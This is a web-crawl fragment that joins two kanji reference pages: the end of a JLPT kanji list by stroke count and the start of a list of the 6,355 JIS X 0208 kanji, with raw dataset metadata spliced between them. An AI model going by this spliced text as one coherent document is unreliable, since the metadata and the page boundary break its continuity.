瑛 番 畳 疎 痘 痛 痢 登 皓 着 短 硝 硫 硬 禄 稀 程 税 竣 童 筆 等 筋 筒 答 策 紫 結 絞 絡 絢 給 統 絵 絶 翔 脹 腕 萩 落 葉 葬 葵 蛮 衆 街 裁 裂 装 裕 補 覚 訴 診 証 詐 詔 評 詞 詠 象 貯 貴 買 貸 費 貿 賀 超 越 距 軸 軽 遂 遅 遇 遊 運 遍 過 道 達 遥 酢 量 鈍 開 閑 間 陽 隅 隊 階 随 雄 集 雇 雰 雲 項 順 須 飯 飲 傑 催 債 傷 傾 働 僧 勢 勧 嗣 嘆 園 塊 塑 塗 塩 墓 夢 奨 嫁 嫌 寛 寝 嵩 嵯 幕 幹 廉 微 想 愁 意 愚 愛 感 慈 慎 慨 戦 損 搬 携 搾 摂 数 新 暇 暉 暖 暗 棄 椰 椿 楊 楓 楠 業 楼 楽 歳 殿 源 準 溝 溶 滅 滉 滑 滝 滞 漠 漢 煙 照 煩 献 猿 瑚 瑞 瑶 痴 盟 睡 督 睦 碁 禁 禅 禍 禎 福 稔 稚 稜 節 絹 継 続 罪 置 署 群 義 聖 腰 腸 腹 舜 艇 蒔 蒸 蒼 蓄 蓉 蓮 虜 虞 裏 裟 裸 褐 解 触 詢 試 詩 詰 話 該 詳 誇 誉 誠 豊 賃 賄 資 賊 跡 路 跳 践 較 載 辞 農 違 遠 遣 酪 酬 鈴 鉄 鉛 鉢 鉱 隔 雅 零 雷 電 靖 靴 頌 預 頑 頒 飼 飽 飾 鳩 鼓 像 僕 僚 嘉 塾 境 増 墨 奪 嫡 察 寡 寧 層 彰 徳 徴 態 慕 慢 慣 憎 摘 旗 暢 暦 暮 概 榛 構 様 槙 模 樺 歌 歴 滴 漁 漂 漆 漏 演 漫 漬 漱 漸 熊 爾 獄 瑠 瑳 疑 碑 碧 碩 磁 種 稲 穀 端 箇 算 管 精 綜 維 綱 網 綸 綺 綾 綿 緋 総 緑 緒 練 罰 翠 聞 聡 肇 腐 膜 蔦 製 複 誌 認 誓 誘 語 誤 説 読 豪 踊 輔 適 遭 遮 酵 酷 酸 銀 銃 銅 銑 銘 銭 関 閣 閥 際 障 隠 雌 雑 需 静 領 颯 駄 駅 駆 髪 魁 魂 鳳 鳴 鼻 儀 億 凜 劇 勲 嘱 器 噴 墜 墳 嬉 審 寮 導 履 幣 弊 影 徹 慧 慮 慰 慶 憂 憤 憧 戯 摩 撃 撤 撮 撲 敵 敷 暫 暴 槻 槽 標 権 横 歓 毅 潔 潜 潟 潤 潮 澄 熙 熟 熱 璃 監 盤 確 稼 稿 穂 窮 窯 箱 範 緊 線 締 編 緩 縁 縄 罷 膚 舗 舞 蔵 蕉 蝶 衝 褒 誕 課 誼 調 諄 談 請 諒 論 諸 諾 謁 賓 賛 賜 賞 賠 賦 質 趣 踏 輝 輩 輪 遵 遷 選 遺 遼 鋭 鋳 閲 震 霊 養 餓 駐 駒 魅 黎 黙 儒 凝 叡 墾 壁 壇 壊 壌 奮 嬢 憩 憲 憶 憾 懐 擁 操 整 曇 樹 橋 橘 機 澪 激 濁 濃 燃 燎 獣 獲 磨 積 穏 築 篤 糖 緯 縛 縦 縫 繁 膨 興 蕗 薄 薦 薪 薫 薬 融 衛 衡 親 諭 諮 謀 謡 賢 輸 避 還 鋼 錘 錠 錦 錬 錯 録 隣 隷 頭 頼 館 鮎 黛 償 優 厳 嚇 嶺 懇 擦 擬 曙 檀 濯 燥 燦 爵 犠 環 療 瞭 瞳 矯 磯 礁 縮 績 繊 翼 聴 覧 謄 謙 講 謝 謹 購 轄 醜 鍛 霜 霞 鞠 頻 駿 鮮 鴻 齢 懲 曜 濫 燿 癒 癖 瞬 礎 穣 穫 簡 糧 織 繕 繭 翻 職 臨 藍 藤 藩 襟 覆 観 贈 鎌 鎖 鎮 闘 雛 難 題 額 顔 顕 類 騎 騒 験 鯉 麿 瀬 爆 簿 繰 羅 臓 艶 藻 蘭 覇 識 譜 警 鏡 離 霧 韻 願 髄 鯛 鯨 鵬 鶏 麗\n巌 懸 欄 競 籍 耀 議 譲 護 醸 鐘 響 馨 騰","id":"","dump":"CC-MAIN-2017-22","url":"https:\/\/www.nihongo-pro.com\/kanji-pal\/list\/jlpt\/strokes","date":"2017-05-25T06:58:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463608004.38\/warc\/CC-MAIN-20170525063740-20170525083740-00576.warc.gz","language":"lzh","language_score":0.4753571153,"language_script":"Hani","minhash_cluster_size":44,"top_langs":"{\"lzh_Hani_score\": 0.4753571152687073, \"cmn_Hani_score\": 0.43897226452827454, \"yue_Hani_score\": 0.06299307942390442, \"nan_Hani_score\": 0.017671536654233932}","num_words":2304,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.465,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.493,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"The 6,355 kanji below, 1,945 of which are classified as Jōyō Kanji (常用漢字), are all of the kanji most of us will ever encounter in Japanese. They compose the standard kanji character set from the JIS X 0208, a combination of the JIS第1水準漢字 and the JIS第2水準漢字. Apparently, these are also the kanji tested on the first grade (1級) of the the Kanji Proficiency Test (漢字検定). I also have an extended version available.\n基本漢字表\n亜 唖 娃 阿 哀 愛 挨 姶 逢 葵 茜 穐 悪 握 渥 旭 葦 芦 鯵 梓 圧 斡 扱 宛 姐 虻 飴 絢 綾 鮎 或 粟 袷 安 庵 按 暗 案 闇 鞍 杏 以 伊 位 依 偉 囲 夷 委 威 尉 惟 意 慰 易 椅 為 畏 異 移 維 緯 胃 萎 衣 謂 違 遺 医 井 亥 域 育 郁 磯 一 壱 溢 逸 稲 茨 芋 鰯 允 印 咽 員 因 姻 引 飲 淫 胤 蔭 院 陰 隠 韻 吋 右 宇 烏 羽 迂 雨 卯 鵜 窺 丑 碓 臼 渦 嘘 唄 欝 蔚 鰻 姥 厩 浦 瓜 閏 噂 云 運 雲 荏 餌 叡 営 嬰 影 映 曳 栄 永 泳 洩 瑛 盈 穎 頴 英 衛 詠 鋭 液 疫 益 駅 悦 謁 越 閲 榎 厭 円 園 堰 奄 宴 延 怨 掩 援 沿 演 炎 焔 煙 燕 猿 縁 艶 苑 薗 遠 鉛 鴛 塩 於 汚 甥 凹 央 奥 往 応 押 旺 横 欧 殴 王 翁 襖 鴬 鴎 黄 岡 沖 荻 億 屋 憶 臆 桶 牡 乙 俺 卸 恩 温 穏 音 下 化 仮 何 伽 価 佳 加 可 嘉 夏 嫁 家 寡 科 暇 果 架 歌 河 火 珂 禍 禾 稼 箇 花 苛 茄 荷 華 菓 蝦 課 嘩 貨 迦 過 霞 蚊 俄 峨 我 牙 画 臥 芽 蛾 賀 雅 餓 駕 介 会 解 回 塊 壊 廻 快 怪 悔 恢 懐 戒 拐 改 魁 晦 械 海 灰 界 皆 絵 芥 蟹 開 階 貝 凱 劾 外 咳 害 崖 慨 概 涯 碍 蓋 街 該 鎧 骸 浬 馨 蛙 垣 柿 蛎 鈎 劃 嚇 各 廓 拡 撹 格 核 殻 獲 確 穫 覚 角 赫 較 郭 閣 隔 革 学 岳 楽 額 顎 掛 笠 樫 橿 梶 鰍 潟 割 喝 恰 括 活 渇 滑 葛 褐 轄 且 鰹 叶 椛 樺 鞄 株 兜 竃 蒲 釜 鎌 噛 鴨 栢 茅 萱 粥 刈 苅 瓦 乾 侃 冠 寒 刊 勘 勧 巻 喚 堪 姦 完 官 寛 干 幹 患 感 慣 憾 換 敢 柑 桓 棺 款 歓 汗 漢 澗 潅 環 甘 監 看 竿 管 簡 緩 缶 翰 肝 艦 莞 観 諌 貫 還 鑑 間 閑 関 陥 韓 館 舘 丸 含 岸 巌 玩 癌 眼 岩 翫 贋 雁 頑 顔 願 企 伎 危 喜 器 基 奇 嬉 寄 岐 希 幾 忌 揮 机 旗 既 期 棋 棄 機 帰 毅 気 汽 畿 祈 季 稀 紀 徽 規 記 貴 起 軌 輝 飢 騎 鬼 亀 偽 儀 妓 宜 戯 技 擬 欺 犠 疑 祇 義 蟻 誼 議 掬 菊 鞠 吉 吃 喫 桔 橘 詰 砧 杵 黍 却 客 脚 虐 逆 丘 久 仇 休 及 吸 宮 弓 急 救 朽 求 汲 泣 灸 球 究 窮 笈 級 糾 給 旧 牛 去 居 巨 拒 拠 挙 渠 虚 許 距 鋸 漁 禦 魚 亨 享 京 供 侠 僑 兇 競 共 凶 協 匡 卿 叫 喬 境 峡 強 彊 怯 恐 恭 挟 教 橋 況 狂 狭 矯 胸 脅 興 蕎 郷 鏡 響 饗 驚 仰 凝 尭 暁 業 局 曲 極 玉 桐 粁 僅 勤 均 巾 錦 斤 欣 欽 琴 禁 禽 筋 緊 芹 菌 衿 襟 謹 近 金 吟 銀 九 倶 句 区 狗 玖 矩 苦 躯 駆 駈 駒 具 愚 虞 喰 空 偶 寓 遇 隅 串 櫛 釧 屑 屈 掘 窟 沓 靴 轡 窪 熊 隈 粂 栗 繰 桑 鍬 勲 君 薫 訓 群 軍 郡 卦 袈 祁 係 傾 刑 兄 啓 圭 珪 型 契 形 径 恵 慶 慧 憩 掲 携 敬 景 桂 渓 畦 稽 系 経 継 繋 罫 茎 荊 蛍 計 詣 警 軽 頚 鶏 芸 迎 鯨 劇 戟 撃 激 隙 桁 傑 欠 決 潔 穴 結 血 訣 月 件 倹 倦 健 兼 券 剣 喧 圏 堅 嫌 建 憲 懸 拳 捲 検 権 牽 犬 献 研 硯 絹 県 肩 見 謙 賢 軒 遣 鍵 険 顕 験 鹸 元 原 厳 幻 弦 減 源 玄 現 絃 舷 言 諺 限 乎 個 古 呼 固 姑 孤 己 庫 弧 戸 故 枯 湖 狐 糊 袴 股 胡 菰 虎 誇 跨 鈷 雇 顧 鼓 五 互 伍 午 呉 吾 娯 後 御 悟 梧 檎 瑚 碁 語 誤 護 醐 乞 鯉 交 佼 侯 候 倖 光 公 功 効 勾 厚 口 向 后 喉 坑 垢 好 孔 孝 宏 工 巧 巷 幸 広 庚 康 弘 恒 慌 抗 拘 控 攻 昂 晃 更 杭 校 梗 構 江 洪 浩 港 溝 甲 皇 硬 稿 糠 紅 紘 絞 綱 耕 考 肯 肱 腔 膏 航 荒 行 衡 講 貢 購 郊 酵 鉱 砿 鋼 閤 降 項 香 高 鴻 剛 劫 号 合 壕 拷 濠 豪 轟 麹 克 刻 告 国 穀 酷 鵠 黒 獄 漉 腰 甑 忽 惚 骨 狛 込 此 頃 今 困 坤 墾 婚 恨 懇 昏 昆 根 梱 混 痕 紺 艮 魂 些 佐 叉 唆 嵯 左 差 査 沙 瑳 砂 詐 鎖 裟 坐 座 挫 債 催 再 最 哉 塞 妻 宰 彩 才 採 栽 歳 済 災 采 犀 砕 砦 祭 斎 細 菜 裁 載 際 剤 在 材 罪 財 冴 坂 阪 堺 榊 肴 咲 崎 埼 碕 鷺 作 削 咋 搾 昨 朔 柵 窄 策 索 錯 桜 鮭 笹 匙 冊 刷 察 拶 撮 擦 札 殺 薩 雑 皐 鯖 捌 錆 鮫 皿 晒 三 傘 参 山 惨 撒 散 桟 燦 珊 産 算 纂 蚕 讃 賛 酸 餐 斬 暫 残 仕 仔 伺 使 刺 司 史 嗣 四 士 始 姉 姿 子 屍 市 師 志 思 指 支 孜 斯 施 旨 枝 止 死 氏 獅 祉 私 糸 紙 紫 肢 脂 至 視 詞 詩 試 誌 諮 資 賜 雌 飼 歯 事 似 侍 児 字 寺 慈 持 時 次 滋 治 爾 璽 痔 磁 示 而 耳 自 蒔 辞 汐 鹿 式 識 鴫 竺 軸 宍 雫 七 叱 執 失 嫉 室 悉 湿 漆 疾 質 実 蔀 篠 偲 柴 芝 屡 蕊 縞 舎 写 射 捨 赦 斜 煮 社 紗 者 謝 車 遮 蛇 邪 借 勺 尺 杓 灼 爵 酌 釈 錫 若 寂 弱 惹 主 取 守 手 朱 殊 狩 珠 種 腫 趣 酒 首 儒 受 呪 寿 授 樹 綬 需 囚 収 周 宗 就 州 修 愁 拾 洲 秀 秋 終 繍 習 臭 舟 蒐 衆 襲 讐 蹴 輯 週 酋 酬 集 醜 什 住 充 十 従 戎 柔 汁 渋 獣 縦 重 銃 叔 夙 宿 淑 祝 縮 粛 塾 熟 出 術 述 俊 峻 春 瞬 竣 舜 駿 准 循 旬 楯 殉 淳 準 潤 盾 純 巡 遵 醇 順 処 初 所 暑 曙 渚 庶 緒 署 書 薯 藷 諸 助 叙 女 序 徐 恕 鋤 除 傷 償 勝 匠 升 召 哨 商 唱 嘗 奨 妾 娼 宵 将 小 少 尚 庄 床 廠 彰 承 抄 招 掌 捷 昇 昌 昭 晶 松 梢 樟 樵 沼 消 渉 湘 焼 焦 照 症 省 硝 礁 祥 称 章 笑 粧 紹 肖 菖 蒋 蕉 衝 裳 訟 証 詔 詳 象 賞 醤 鉦 鍾 鐘 障 鞘 上 丈 丞 乗 冗 剰 城 場 壌 嬢 常 情 擾 条 杖 浄 状 畳 穣 蒸 譲 醸 錠 嘱 埴 飾 拭 植 殖 燭 織 職 色 触 食 蝕 辱 尻 伸 信 侵 唇 娠 寝 審 心 慎 振 新 晋 森 榛 浸 深 申 疹 真 神 秦 紳 臣 芯 薪 親 診 身 辛 進 針 震 人 仁 刃 塵 壬 尋 甚 尽 腎 訊 迅 陣 靭 笥 諏 須 酢 図 厨 逗 吹 垂 帥 推 水 炊 睡 粋 翠 衰 遂 酔 錐 錘 随 瑞 髄 崇 嵩 数 枢 趨 雛 据 杉 椙 菅 頗 雀 裾 澄 摺 寸 世 瀬 畝 是 凄 制 勢 姓 征 性 成 政 整 星 晴 棲 栖 正 清 牲 生 盛 精 聖 声 製 西 誠 誓 請 逝 醒 青 静 斉 税 脆 隻 席 惜 戚 斥 昔 析 石 積 籍 績 脊 責 赤 跡 蹟 碩 切 拙 接 摂 折 設 窃 節 説 雪 絶 舌 蝉 仙 先 千 占 宣 専 尖 川 戦 扇 撰 栓 栴 泉 浅 洗 染 潜 煎 煽 旋 穿 箭 線 繊 羨 腺 舛 船 薦 詮 賎 践 選 遷 銭 銑 閃 鮮 前 善 漸 然 全 禅 繕 膳 糎 噌 塑 岨 措 曾 曽 楚 狙 疏 疎 礎 祖 租 粗 素 組 蘇 訴 阻 遡 鼠 僧 創 双 叢 倉 喪 壮 奏 爽 宋 層 匝 惣 想 捜 掃 挿 掻 操 早 曹 巣 槍 槽 漕 燥 争 痩 相 窓 糟 総 綜 聡 草 荘 葬 蒼 藻 装 走 送 遭 鎗 霜 騒 像 増 憎 臓 蔵 贈 造 促 側 則 即 息 捉 束 測 足 速 俗 属 賊 族 続 卒 袖 其 揃 存 孫 尊 損 村 遜 他 多 太 汰 詑 唾 堕 妥 惰 打 柁 舵 楕 陀 駄 騨 体 堆 対 耐 岱 帯 待 怠 態 戴 替 泰 滞 胎 腿 苔 袋 貸 退 逮 隊 黛 鯛 代 台 大 第 醍 題 鷹 滝 瀧 卓 啄 宅 托 択 拓 沢 濯 琢 託 鐸 濁 諾 茸 凧 蛸 只 叩 但 達 辰 奪 脱 巽 竪 辿 棚 谷 狸 鱈 樽 誰 丹 単 嘆 坦 担 探 旦 歎 淡 湛 炭 短 端 箪 綻 耽 胆 蛋 誕 鍛 団 壇 弾 断 暖 檀 段 男 談 値 知 地 弛 恥 智 池 痴 稚 置 致 蜘 遅 馳 築 畜 竹 筑 蓄 逐 秩 窒 茶 嫡 着 中 仲 宙 忠 抽 昼 柱 注 虫 衷 註 酎 鋳 駐 樗 瀦 猪 苧 著 貯 丁 兆 凋 喋 寵 帖 帳 庁 弔 張 彫 徴 懲 挑 暢 朝 潮 牒 町 眺 聴 脹 腸 蝶 調 諜 超 跳 銚 長 頂 鳥 勅 捗 直 朕 沈 珍 賃 鎮 陳 津 墜 椎 槌 追 鎚 痛 通 塚 栂 掴 槻 佃 漬 柘 辻 蔦 綴 鍔 椿 潰 坪 壷 嬬 紬 爪 吊 釣 鶴 亭 低 停 偵 剃 貞 呈 堤 定 帝 底 庭 廷 弟 悌 抵 挺 提 梯 汀 碇 禎 程 締 艇 訂 諦 蹄 逓 邸 鄭 釘 鼎 泥 摘 擢 敵 滴 的 笛 適 鏑 溺 哲 徹 撤 轍 迭 鉄 典 填 天 展 店 添 纏 甜 貼 転 顛 点 伝 殿 澱 田 電 兎 吐 堵 塗 妬 屠 徒 斗 杜 渡 登 菟 賭 途 都 鍍 砥 砺 努 度 土 奴 怒 倒 党 冬 凍 刀 唐 塔 塘 套 宕 島 嶋 悼 投 搭 東 桃 梼 棟 盗 淘 湯 涛 灯 燈 当 痘 祷 等 答 筒 糖 統 到 董 蕩 藤 討 謄 豆 踏 逃 透 鐙 陶 頭 騰 闘 働 動 同 堂 導 憧 撞 洞 瞳 童 胴 萄 道 銅 峠 鴇 匿 得 徳 涜 特 督 禿 篤 毒 独 読 栃 橡 凸 突 椴 届 鳶 苫 寅 酉 瀞 噸 屯 惇 敦 沌 豚 遁 頓 呑 曇 鈍 奈 那 内 乍 凪 薙 謎 灘 捺 鍋 楢 馴 縄 畷 南 楠 軟 難 汝 二 尼 弐 迩 匂 賑 肉 虹 廿 日 乳 入 如 尿 韮 任 妊 忍 認 濡 禰 祢 寧 葱 猫 熱 年 念 捻 撚 燃 粘 乃 廼 之 埜 嚢 悩 濃 納 能 脳 膿 農 覗 蚤 巴 把 播 覇 杷 波 派 琶 破 婆 罵 芭 馬 俳 廃 拝 排 敗 杯 盃 牌 背 肺 輩 配 倍 培 媒 梅 楳 煤 狽 買 売 賠 陪 這 蝿 秤 矧 萩 伯 剥 博 拍 柏 泊 白 箔 粕 舶 薄 迫 曝 漠 爆 縛 莫 駁 麦 函 箱 硲 箸 肇 筈 櫨 幡 肌 畑 畠 八 鉢 溌 発 醗 髪 伐 罰 抜 筏 閥 鳩 噺 塙 蛤 隼 伴 判 半 反 叛 帆 搬 斑 板 氾 汎 版 犯 班 畔 繁 般 藩 販 範 釆 煩 頒 飯 挽 晩 番 盤 磐 蕃 蛮 匪 卑 否 妃 庇 彼 悲 扉 批 披 斐 比 泌 疲 皮 碑 秘 緋 罷 肥 被 誹 費 避 非 飛 樋 簸 備 尾 微 枇 毘 琵 眉 美 鼻 柊 稗 匹 疋 髭 彦 膝 菱 肘 弼 必 畢 筆 逼 桧 姫 媛 紐 百 謬 俵 彪 標 氷 漂 瓢 票 表 評 豹 廟 描 病 秒 苗 錨 鋲 蒜 蛭 鰭 品 彬 斌 浜 瀕 貧 賓 頻 敏 瓶 不 付 埠 夫 婦 富 冨 布 府 怖 扶 敷 斧 普 浮 父 符 腐 膚 芙 譜 負 賦 赴 阜 附 侮 撫 武 舞 葡 蕪 部 封 楓 風 葺 蕗 伏 副 復 幅 服 福 腹 複 覆 淵 弗 払 沸 仏 物 鮒 分 吻 噴 墳 憤 扮 焚 奮 粉 糞 紛 雰 文 聞 丙 併 兵 塀 幣 平 弊 柄 並 蔽 閉 陛 米 頁 僻 壁 癖 碧 別 瞥 蔑 箆 偏 変 片 篇 編 辺 返 遍 便 勉 娩 弁 鞭 保 舗 鋪 圃 捕 歩 甫 補 輔 穂 募 墓 慕 戊 暮 母 簿 菩 倣 俸 包 呆 報 奉 宝 峰 峯 崩 庖 抱 捧 放 方 朋 法 泡 烹 砲 縫 胞 芳 萌 蓬 蜂 褒 訪 豊 邦 鋒 飽 鳳 鵬 乏 亡 傍 剖 坊 妨 帽 忘 忙 房 暴 望 某 棒 冒 紡 肪 膨 謀 貌 貿 鉾 防 吠 頬 北 僕 卜 墨 撲 朴 牧 睦 穆 釦 勃 没 殆 堀 幌 奔 本 翻 凡 盆 摩 磨 魔 麻 埋 妹 昧 枚 毎 哩 槙 幕 膜 枕 鮪 柾 鱒 桝 亦 俣 又 抹 末 沫 迄 侭 繭 麿 万 慢 満 漫 蔓 味 未 魅 巳 箕 岬 密 蜜 湊 蓑 稔 脈 妙 粍 民 眠 務 夢 無 牟 矛 霧 鵡 椋 婿 娘 冥 名 命 明 盟 迷 銘 鳴 姪 牝 滅 免 棉 綿 緬 面 麺 摸 模 茂 妄 孟 毛 猛 盲 網 耗 蒙 儲 木 黙 目 杢 勿 餅 尤 戻 籾 貰 問 悶 紋 門 匁 也 冶 夜 爺 耶 野 弥 矢 厄 役 約 薬 訳 躍 靖 柳 薮 鑓 愉 愈 油 癒 諭 輸 唯 佑 優 勇 友 宥 幽 悠 憂 揖 有 柚 湧 涌 猶 猷 由 祐 裕 誘 遊 邑 郵 雄 融 夕 予 余 与 誉 輿 預 傭 幼 妖 容 庸 揚 揺 擁 曜 楊 様 洋 溶 熔 用 窯 羊 耀 葉 蓉 要 謡 踊 遥 陽 養 慾 抑 欲 沃 浴 翌 翼 淀 羅 螺 裸 来 莱 頼 雷 洛 絡 落 酪 乱 卵 嵐 欄 濫 藍 蘭 覧 利 吏 履 李 梨 理 璃 痢 裏 裡 里 離 陸 律 率 立 葎 掠 略 劉 流 溜 琉 留 硫 粒 隆 竜 龍 侶 慮 旅 虜 了 亮 僚 両 凌 寮 料 梁 涼 猟 療 瞭 稜 糧 良 諒 遼 量 陵 領 力 緑 倫 厘 林 淋 燐 琳 臨 輪 隣 鱗 麟 瑠 塁 涙 累 類 令 伶 例 冷 励 嶺 怜 玲 礼 苓 鈴 隷 零 霊 麗 齢 暦 歴 列 劣 烈 裂 廉 恋 憐 漣 煉 簾 練 聯 蓮 連 錬 呂 魯 櫓 炉 賂 路 露 労 婁 廊 弄 朗 楼 榔 浪 漏 牢 狼 篭 老 聾 蝋 郎 六 麓 禄 肋 録 論 倭 和 話 歪 賄 脇 惑 枠 鷲 亙 亘 鰐 詫 藁 蕨 椀 湾 碗 腕 弌 丐 丕 个 丱 丶 丼 丿 乂 乖 乘 亂 亅 豫 亊 舒 弍 于 亞 亟 亠 亢 亰 亳 亶 从 仍 仄 仆 仂 仗 仞 仭 仟 价 伉 佚 估 佛 佝 佗 佇 佶 侈 侏 侘 佻 佩 佰 侑 佯 來 侖 儘 俔 俟 俎 俘 俛 俑 俚 俐 俤 俥 倚 倨 倔 倪 倥 倅 伜 俶 倡 倩 倬 俾 俯 們 倆 偃 假 會 偕 偐 偈 做 偖 偬 偸 傀 傚 傅 傴 傲 僉 僊 傳 僂 僖 僞 僥 僭 僣 僮 價 僵 儉 儁 儂 儖 儕 儔 儚 儡 儺 儷 儼 儻 儿 兀 兒 兌 兔 兢 竸 兩 兪 兮 冀 冂 囘 册 冉 冏 冑 冓 冕 冖 冤 冦 冢 冩 冪 冫 决 冱 冲 冰 况 冽 凅 凉 凛 几 處 凩 凭 凰 凵 凾 刄 刋 刔 刎 刧 刪 刮 刳 刹 剏 剄 剋 剌 剞 剔 剪 剴 剩 剳 剿 剽 劍 劔 劒 剱 劈 劑 辨 辧 劬 劭 劼 劵 勁 勍 勗 勞 勣 勦 飭 勠 勳 勵 勸 勹 匆 匈 甸 匍 匐 匏 匕 匚 匣 匯 匱 匳 匸 區 卆 卅 丗 卉 卍 凖 卞 卩 卮 夘 卻 卷 厂 厖 厠 厦 厥 厮 厰 厶 參 簒 雙 叟 曼 燮 叮 叨 叭 叺 吁 吽 呀 听 吭 吼 吮 吶 吩 吝 呎 咏 呵 咎 呟 呱 呷 呰 咒 呻 咀 呶 咄 咐 咆 哇 咢 咸 咥 咬 哄 哈 咨 咫 哂 咤 咾 咼 哘 哥 哦 唏 唔 哽 哮 哭 哺 哢 唹 啀 啣 啌 售 啜 啅 啖 啗 唸 唳 啝 喙 喀 咯 喊 喟 啻 啾 喘 喞 單 啼 喃 喩 喇 喨 嗚 嗅 嗟 嗄 嗜 嗤 嗔 嘔 嗷 嘖 嗾 嗽 嘛 嗹 噎 噐 營 嘴 嘶 嘲 嘸 噫 噤 嘯 噬 噪 嚆 嚀 嚊 嚠 嚔 嚏 嚥 嚮 嚶 嚴 囂 嚼 囁 囃 囀 囈 囎 囑 囓 囗 囮 囹 圀 囿 圄 圉 圈 國 圍 圓 團 圖 嗇 圜 圦 圷 圸 坎 圻 址 坏 坩 埀 垈 坡 坿 垉 垓 垠 垳 垤 垪 垰 埃 埆 埔 埒 埓 堊 埖 埣 堋 堙 堝 塲 堡 塢 塋 塰 毀 塒 堽 塹 墅 墹 墟 墫 墺 壞 墻 墸 墮 壅 壓 壑 壗 壙 壘 壥 壜 壤 壟 壯 壺 壹 壻 壼 壽 夂 夊 夐 夛 梦 夥 夬 夭 夲 夸 夾 竒 奕 奐 奎 奚 奘 奢 奠 奧 奬 奩 奸 妁 妝 佞 侫 妣 妲 姆 姨 姜 妍 姙 姚 娥 娟 娑 娜 娉 娚 婀 婬 婉 娵 娶 婢 婪 媚 媼 媾 嫋 嫂 媽 嫣 嫗 嫦 嫩 嫖 嫺 嫻 嬌 嬋 嬖 嬲 嫐 嬪 嬶 嬾 孃 孅 孀 孑 孕 孚 孛 孥 孩 孰 孳 孵 學 斈 孺 宀 它 宦 宸 寃 寇 寉 寔 寐 寤 實 寢 寞 寥 寫 寰 寶 寳 尅 將 專 對 尓 尠 尢 尨 尸 尹 屁 屆 屎 屓 屐 屏 孱 屬 屮 乢 屶 屹 岌 岑 岔 妛 岫 岻 岶 岼 岷 峅 岾 峇 峙 峩 峽 峺 峭 嶌 峪 崋 崕 崗 嵜 崟 崛 崑 崔 崢 崚 崙 崘 嵌 嵒 嵎 嵋 嵬 嵳 嵶 嶇 嶄 嶂 嶢 嶝 嶬 嶮 嶽 嶐 嶷 嶼 巉 巍 巓 巒 巖 巛 巫 已 巵 帋 帚 帙 帑 帛 帶 帷 幄 幃 幀 幎 幗 幔 幟 幢 幤 幇 幵 并 幺 麼 广 庠 廁 廂 廈 廐 廏 廖 廣 廝 廚 廛 廢 廡 廨 廩 廬 廱 廳 廰 廴 廸 廾 弃 弉 彝 彜 弋 弑 弖 弩 弭 弸 彁 彈 彌 彎 弯 彑 彖 彗 彙 彡 彭 彳 彷 徃 徂 彿 徊 很 徑 徇 從 徙 徘 徠 徨 徭 徼 忖 忻 忤 忸 忱 忝 悳 忿 怡 恠 怙 怐 怩 怎 怱 怛 怕 怫 怦 怏 怺 恚 恁 恪 恷 恟 恊 恆 恍 恣 恃 恤 恂 恬 恫 恙 悁 悍 惧 悃 悚 悄 悛 悖 悗 悒 悧 悋 惡 悸 惠 惓 悴 忰 悽 惆 悵 惘 慍 愕 愆 惶 惷 愀 惴 惺 愃 愡 惻 惱 愍 愎 慇 愾 愨 愧 慊 愿 愼 愬 愴 愽 慂 慄 慳 慷 慘 慙 慚 慫 慴 慯 慥 慱 慟 慝 慓 慵 憙 憖 憇 憬 憔 憚 憊 憑 憫 憮 懌 懊 應 懷 懈 懃 懆 憺 懋 罹 懍 懦 懣 懶 懺 懴 懿 懽 懼 懾 戀 戈 戉 戍 戌 戔 戛 戞 戡 截 戮 戰 戲 戳 扁 扎 扞 扣 扛 扠 扨 扼 抂 抉 找 抒 抓 抖 拔 抃 抔 拗 拑 抻 拏 拿 拆 擔 拈 拜 拌 拊 拂 拇 抛 拉 挌 拮 拱 挧 挂 挈 拯 拵 捐 挾 捍 搜 捏 掖 掎 掀 掫 捶 掣 掏 掉 掟 掵 捫 捩 掾 揩 揀 揆 揣 揉 插 揶 揄 搖 搴 搆 搓 搦 搶 攝 搗 搨 搏 摧 摯 摶 摎 攪 撕 撓 撥 撩 撈 撼 據 擒 擅 擇 撻 擘 擂 擱 擧 舉 擠 擡 抬 擣 擯 攬 擶 擴 擲 擺 攀 擽 攘 攜 攅 攤 攣 攫 攴 攵 攷 收 攸 畋 效 敖 敕 敍 敘 敞 敝 敲 數 斂 斃 變 斛 斟 斫 斷 旃 旆 旁 旄 旌 旒 旛 旙 无 旡 旱 杲 昊 昃 旻 杳 昵 昶 昴 昜 晏 晄 晉 晁 晞 晝 晤 晧 晨 晟 晢 晰 暃 暈 暎 暉 暄 暘 暝 曁 暹 曉 暾 暼 曄 暸 曖 曚 曠 昿 曦 曩 曰 曵 曷 朏 朖 朞 朦 朧 霸 朮 朿 朶 杁 朸 朷 杆 杞 杠 杙 杣 杤 枉 杰 枩 杼 杪 枌 枋 枦 枡 枅 枷 柯 枴 柬 枳 柩 枸 柤 柞 柝 柢 柮 枹 柎 柆 柧 檜 栞 框 栩 桀 桍 栲 桎 梳 栫 桙 档 桷 桿 梟 梏 梭 梔 條 梛 梃 檮 梹 桴 梵 梠 梺 椏 梍 桾 椁 棊 椈 棘 椢 椦 棡 椌 棍 棔 棧 棕 椶 椒 椄 棗 棣 椥 棹 棠 棯 椨 椪 椚 椣 椡 棆 楹 楷 楜 楸 楫 楔 楾 楮 椹 楴 椽 楙 椰 楡 楞 楝 榁 楪 榲 榮 槐 榿 槁 槓 榾 槎 寨 槊 槝 榻 槃 榧 樮 榑 榠 榜 榕 榴 槞 槨 樂 樛 槿 權 槹 槲 槧 樅 榱 樞 槭 樔 槫 樊 樒 櫁 樣 樓 橄 樌 橲 樶 橸 橇 橢 橙 橦 橈 樸 樢 檐 檍 檠 檄 檢 檣 檗 蘗 檻 櫃 櫂 檸 檳 檬 櫞 櫑 櫟 檪 櫚 櫪 櫻 欅 蘖 櫺 欒 欖 鬱 欟 欸 欷 盜 欹 飮 歇 歃 歉 歐 歙 歔 歛 歟 歡 歸 歹 歿 殀 殄 殃 殍 殘 殕 殞 殤 殪 殫 殯 殲 殱 殳 殷 殼 毆 毋 毓 毟 毬 毫 毳 毯 麾 氈 氓 气 氛 氤 氣 汞 汕 汢 汪 沂 沍 沚 沁 沛 汾 汨 汳 沒 沐 泄 泱 泓 沽 泗 泅 泝 沮 沱 沾 沺 泛 泯 泙 泪 洟 衍 洶 洫 洽 洸 洙 洵 洳 洒 洌 浣 涓 浤 浚 浹 浙 涎 涕 濤 涅 淹 